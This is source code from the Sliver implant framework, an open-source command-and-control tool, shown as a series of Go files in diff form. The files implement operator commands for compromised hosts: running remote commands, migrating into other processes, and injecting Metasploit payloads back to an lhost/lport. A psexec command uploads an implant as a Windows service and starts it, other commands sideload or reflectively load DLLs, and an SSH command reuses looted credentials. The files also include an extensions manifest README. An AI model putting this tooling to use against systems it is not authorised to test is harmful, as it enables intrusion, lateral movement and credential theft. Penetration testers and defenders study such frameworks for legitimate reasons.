// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
if exec.Response != nil && exec.Response.Async {
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, exec)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
if stdout == "" {
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+54
View File
@@ -0,0 +1,54 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if !migrate.Success {
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
return
}
con.PrintInfof("Successfully migrated to %d\n", pid)
}
+112
View File
@@ -0,0 +1,112 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
pid := ctx.Flags.Int("pid")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
Encoder: encoder,
Iterations: int32(iterations),
PID: uint32(pid),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+92
View File
@@ -0,0 +1,92 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
Encoder: encoder,
Iterations: int32(iterations),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
}
}
+182
View File
@@ -0,0 +1,182 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !settings.IsUserAnAdult(con) {
return
}
}
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := ioutil.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
// Looks like starting the service right away often fails
// because a process is already using the binary.
// I suspect that Defender on my lab is holding access
// while scanning, which often resulted in an error.
// Waiting 5 seconds seem to do the trick here.
time.Sleep(5 * time.Second)
// start service
binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
serviceCtrl := make(chan bool)
con.SpinUntil("Starting service ...", serviceCtrl)
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
})
serviceCtrl <- true
<-serviceCtrl
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
if start.Response != nil && start.Response.Err != "" {
con.PrintErrorf("Error: %s", start.Response.Err)
return
}
con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
removeChan := make(chan bool)
con.SpinUntil("Removing service ...", removeChan)
removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
if removed.Response != nil && removed.Response.Err != "" {
con.PrintErrorf("Error: %s\n", removed.Response.Err)
return
}
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
return string(b)
}
+108
View File
@@ -0,0 +1,108 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
binPath := ctx.Args.String("filepath")
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+80
View File
@@ -0,0 +1,80 @@
package exec
import (
"context"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
binPath := ctx.Args.String("filepath")
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Data: binData,
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl <- true
<-ctrl
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+126
View File
@@ -0,0 +1,126 @@
package exec
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
username := ctx.Flags.String("login")
if username == "" {
username = session.GetUsername()
}
port := ctx.Flags.Uint("port")
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
password := ctx.Flags.String("password")
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
username, password, privKey = tryCredsFromLoot(con)
if username == "" {
username = oldUsername
}
}
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sshCmd.Response != nil && sshCmd.Response.Async {
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sshCmd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSSHCmd(sshCmd, con)
})
con.PrintAsyncResponse(sshCmd.Response)
} else {
PrintSSHCmd(sshCmd, con)
}
}
// PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
}
return
}
if sshCmd.StdOut != "" {
con.PrintInfof("Output:\n")
con.Println(sshCmd.StdOut)
if sshCmd.StdErr != "" {
con.PrintInfof("StdErr:\n")
con.Println(sshCmd.StdErr)
}
}
}
func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
var (
username string
password string
privKey []byte
)
confirm := false
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
if confirm {
cred, err := loot.SelectCredentials(con)
if err != nil {
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
} else {
switch cred.CredentialType {
case clientpb.CredentialType_API_KEY:
privKey = []byte(cred.Credential.APIKey)
case clientpb.CredentialType_USER_PASSWORD:
username = cred.Credential.User
password = cred.Credential.Password
}
}
}
return username, password, privKey
}
+67
View File
@@ -0,0 +1,67 @@
Extensions
===========
Allows to load and execute 3rd party extensions.
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
```shell
/path/to/extension/folder/
├── extension.json
└── windows
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
```
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
```json
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"depends_on": "bar",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "extension.x64.o",
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
+125
View File
@@ -0,0 +1,125 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
})
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
